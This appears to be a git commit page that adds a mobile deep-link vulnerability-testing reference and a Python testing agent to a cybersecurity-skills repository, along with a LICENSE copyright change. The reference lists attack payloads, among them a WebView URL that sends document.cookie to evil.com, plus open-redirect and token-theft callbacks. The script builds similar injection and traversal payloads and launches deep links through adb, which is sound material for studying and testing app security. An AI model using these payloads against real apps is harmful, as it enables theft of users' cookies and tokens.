mirror of
https://github.com/mukul975/Anthropic-Cybersecurity-Skills.git
synced 2026-08-07 19:20:17 +03:00
Complete folder anatomy for all 649 cybersecurity skills + update LICENSE to Mahipal
- Add scripts/agent.py and references/api-reference.md to all remaining skills - Update all 648 LICENSE files: copyright now reads 'Mahipal' - Add implementing-security-monitoring-with-datadog (new skill with full anatomy) - All 649 skills now have: SKILL.md, LICENSE, scripts/agent.py, references/api-reference.md
This commit is contained in:
mukul975
@@ -1,6 +1,6 @@
|
||||
MIT License
|
||||
|
||||
Copyright (c) 2025 Anthropic Agent Skills Contributors
|
||||
Copyright (c) 2025 Mahipal
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
|
||||
@@ -0,0 +1,106 @@
|
||||
# API Reference: Deep Link Vulnerability Testing
|
||||
|
||||
## Android Deep Links
|
||||
|
||||
### AndroidManifest.xml Configuration
|
||||
```xml
|
||||
<activity android:name=".DeepLinkActivity" android:exported="true">
|
||||
<intent-filter>
|
||||
<action android:name="android.intent.action.VIEW"/>
|
||||
<category android:name="android.intent.category.DEFAULT"/>
|
||||
<category android:name="android.intent.category.BROWSABLE"/>
|
||||
<data android:scheme="myapp" android:host="open"/>
|
||||
</intent-filter>
|
||||
</activity>
|
||||
```
|
||||
|
||||
### ADB Testing
|
||||
```bash
|
||||
adb shell am start -W -a android.intent.action.VIEW \
|
||||
-d "myapp://open/path?param=value" com.target.app
|
||||
```
|
||||
|
||||
### Intent URI Scheme
|
||||
```
|
||||
intent://path#Intent;scheme=myapp;package=com.target.app;end
|
||||
```
|
||||
|
||||
## iOS URL Schemes
|
||||
|
||||
### Info.plist Configuration
|
||||
```xml
|
||||
<key>CFBundleURLTypes</key>
|
||||
<array>
|
||||
<dict>
|
||||
<key>CFBundleURLSchemes</key>
|
||||
<array>
|
||||
<string>myapp</string>
|
||||
</array>
|
||||
</dict>
|
||||
</array>
|
||||
```
|
||||
|
||||
### Universal Links (apple-app-site-association)
|
||||
```json
|
||||
{
|
||||
"applinks": {
|
||||
"apps": [],
|
||||
"details": [{
|
||||
"appID": "TEAM_ID.com.example.app",
|
||||
"paths": ["/open/*", "/product/*"]
|
||||
}]
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
## Vulnerability Types
|
||||
|
||||
| Type | Risk | Description |
|
||||
|------|------|-------------|
|
||||
| Open Redirect | HIGH | Deep link redirects to attacker URL |
|
||||
| JavaScript Injection | CRITICAL | Code execution in WebView |
|
||||
| Parameter Theft | HIGH | Token/credential exfiltration |
|
||||
| Intent Redirect | HIGH | Android intent hijacking |
|
||||
| Path Traversal | MEDIUM | Access unintended app sections |
|
||||
|
||||
## Attack Payloads
|
||||
|
||||
### Open Redirect
|
||||
```
|
||||
myapp://open?redirect=https://evil.com
|
||||
myapp://open?url=javascript:alert(document.cookie)
|
||||
```
|
||||
|
||||
### WebView JavaScript
|
||||
```
|
||||
myapp://webview?url=javascript:fetch('https://evil.com/'+document.cookie)
|
||||
```
|
||||
|
||||
### Parameter Injection
|
||||
```
|
||||
myapp://auth?token=stolen&callback=https://evil.com
|
||||
```
|
||||
|
||||
## Frida — Runtime Deep Link Testing
|
||||
|
||||
### Hook URL Handler (Android)
|
||||
```javascript
|
||||
Java.perform(function() {
|
||||
var Activity = Java.use("android.app.Activity");
|
||||
Activity.onNewIntent.implementation = function(intent) {
|
||||
console.log("Deep link: " + intent.getData().toString());
|
||||
this.onNewIntent(intent);
|
||||
};
|
||||
});
|
||||
```
|
||||
|
||||
### Hook URL Handler (iOS)
|
||||
```javascript
|
||||
var handler = ObjC.classes.AppDelegate["- application:openURL:options:"];
|
||||
Interceptor.attach(handler.implementation, {
|
||||
onEnter: function(args) {
|
||||
var url = ObjC.Object(args[3]);
|
||||
console.log("URL scheme: " + url.toString());
|
||||
}
|
||||
});
|
||||
```
|
||||
@@ -0,0 +1,147 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Agent for testing deep link / custom URL scheme vulnerabilities in mobile apps."""
|
||||
|
||||
import argparse
|
||||
import json
|
||||
import os
|
||||
import re
|
||||
import subprocess
|
||||
import sys
|
||||
from datetime import datetime, timezone
|
||||
|
||||
|
||||
ANDROID_SCHEME_PATTERN = re.compile(
|
||||
r'<intent-filter[^>]*>.*?<data\s+android:scheme="([^"]+)".*?</intent-filter>',
|
||||
re.DOTALL
|
||||
)
|
||||
ANDROID_HOST_PATTERN = re.compile(r'android:host="([^"]+)"')
|
||||
|
||||
IOS_SCHEME_PATTERN = re.compile(r'<string>(\w+)</string>\s*</array>\s*<key>CFBundleURLName')
|
||||
IOS_UNIVERSAL_PATTERN = re.compile(r'"applinks:\s*([\w.-]+)"')
|
||||
|
||||
|
||||
def analyze_android_manifest(manifest_path):
|
||||
"""Parse AndroidManifest.xml for deep link configurations."""
|
||||
findings = []
|
||||
try:
|
||||
with open(manifest_path, "r", errors="replace") as f:
|
||||
content = f.read()
|
||||
except FileNotFoundError:
|
||||
return findings
|
||||
|
||||
for match in ANDROID_SCHEME_PATTERN.finditer(content):
|
||||
block = match.group(0)
|
||||
scheme = match.group(1)
|
||||
hosts = ANDROID_HOST_PATTERN.findall(block)
|
||||
exported = "android:exported=\"true\"" in block or "android:exported" not in block
|
||||
findings.append({
|
||||
"scheme": scheme,
|
||||
"hosts": hosts,
|
||||
"exported": exported,
|
||||
"block": block[:200],
|
||||
"risk": "HIGH" if exported and scheme not in ("https", "http") else "MEDIUM",
|
||||
})
|
||||
return findings
|
||||
|
||||
|
||||
def analyze_ios_plist(plist_path):
|
||||
"""Parse iOS Info.plist for URL scheme and universal link configurations."""
|
||||
findings = []
|
||||
try:
|
||||
with open(plist_path, "r", errors="replace") as f:
|
||||
content = f.read()
|
||||
except FileNotFoundError:
|
||||
return findings
|
||||
|
||||
for match in IOS_SCHEME_PATTERN.finditer(content):
|
||||
findings.append({
|
||||
"type": "custom_url_scheme",
|
||||
"scheme": match.group(1),
|
||||
"risk": "HIGH",
|
||||
"note": "Custom URL schemes lack origin verification",
|
||||
})
|
||||
|
||||
for match in IOS_UNIVERSAL_PATTERN.finditer(content):
|
||||
findings.append({
|
||||
"type": "universal_link",
|
||||
"domain": match.group(1),
|
||||
"risk": "LOW",
|
||||
"note": "Universal links verify domain ownership",
|
||||
})
|
||||
return findings
|
||||
|
||||
|
||||
def test_deep_link_injection(scheme, host, path, payload):
|
||||
"""Construct and test a deep link injection payload."""
|
||||
test_url = f"{scheme}://{host}{path}{payload}"
|
||||
return {
|
||||
"test_url": test_url,
|
||||
"payload": payload,
|
||||
"vectors": [
|
||||
"Open redirect via deep link",
|
||||
"JavaScript execution in WebView",
|
||||
"Parameter injection",
|
||||
"Intent redirection (Android)",
|
||||
],
|
||||
}
|
||||
|
||||
|
||||
def check_adb_deep_link(package, uri):
|
||||
"""Test Android deep link via ADB."""
|
||||
cmd = ["adb", "shell", "am", "start", "-W",
|
||||
"-a", "android.intent.action.VIEW",
|
||||
"-d", uri, package]
|
||||
try:
|
||||
result = subprocess.check_output(cmd, text=True, errors="replace", timeout=15)
|
||||
return {"uri": uri, "status": "launched", "output": result[:300]}
|
||||
except (subprocess.SubprocessError, FileNotFoundError):
|
||||
return {"uri": uri, "status": "failed"}
|
||||
|
||||
|
||||
def main():
|
||||
parser = argparse.ArgumentParser(
|
||||
description="Test deep link / URL scheme vulnerabilities (authorized testing only)"
|
||||
)
|
||||
parser.add_argument("--android-manifest", help="Path to AndroidManifest.xml")
|
||||
parser.add_argument("--ios-plist", help="Path to Info.plist")
|
||||
parser.add_argument("--test-scheme", help="URL scheme to test")
|
||||
parser.add_argument("--test-host", help="Host for deep link test")
|
||||
parser.add_argument("--output", "-o", help="Output JSON report")
|
||||
args = parser.parse_args()
|
||||
|
||||
print("[*] Deep Link Vulnerability Testing Agent")
|
||||
report = {"timestamp": datetime.now(timezone.utc).isoformat(), "findings": []}
|
||||
|
||||
if args.android_manifest:
|
||||
android = analyze_android_manifest(args.android_manifest)
|
||||
report["findings"].extend(android)
|
||||
print(f"[*] Android deep links found: {len(android)}")
|
||||
|
||||
if args.ios_plist:
|
||||
ios = analyze_ios_plist(args.ios_plist)
|
||||
report["findings"].extend(ios)
|
||||
print(f"[*] iOS URL schemes found: {len(ios)}")
|
||||
|
||||
if args.test_scheme and args.test_host:
|
||||
payloads = [
|
||||
"?redirect=https://evil.com",
|
||||
"#javascript:alert(1)",
|
||||
"?token=stolen&callback=https://evil.com",
|
||||
"/../../sensitive-path",
|
||||
]
|
||||
for p in payloads:
|
||||
result = test_deep_link_injection(args.test_scheme, args.test_host, "/", p)
|
||||
report["findings"].append(result)
|
||||
|
||||
report["risk_level"] = "HIGH" if report["findings"] else "LOW"
|
||||
|
||||
if args.output:
|
||||
with open(args.output, "w") as f:
|
||||
json.dump(report, f, indent=2)
|
||||
print(f"[*] Report saved to {args.output}")
|
||||
else:
|
||||
print(json.dumps(report, indent=2))
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
Reference in New Issue
Block a user